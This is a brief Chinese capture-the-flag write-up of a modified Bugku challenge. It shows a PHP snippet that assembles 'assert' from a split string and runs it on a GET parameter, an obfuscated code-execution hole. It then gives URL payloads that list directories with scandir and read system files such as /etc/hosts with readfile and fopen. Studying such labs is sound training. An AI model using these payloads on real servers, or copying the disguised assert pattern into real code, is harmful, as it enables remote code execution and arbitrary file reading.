今天学校ctf战队给了个bugku的题不过改了一下,我觉得挺有意思的,做一下记录。
题目
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。
解题payload
?s=print_r(scandir('./'))
扫描当前目录,并按数组输出。
url添加f94lag.txt,就可以拿到flag了。
奇淫技巧
利用此漏洞查询其他文件,例如hosts
首先,扫描上级目录,payload
?s=print_r(scandir('../'))
看到这是linux操作系统的文件目录
所以hosts应该在etc里面,读一下就能看到了。
2. 使用fopen() 或者 readfile() 函数读取文件
样例payload
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
任意文件读取,实在太骚了。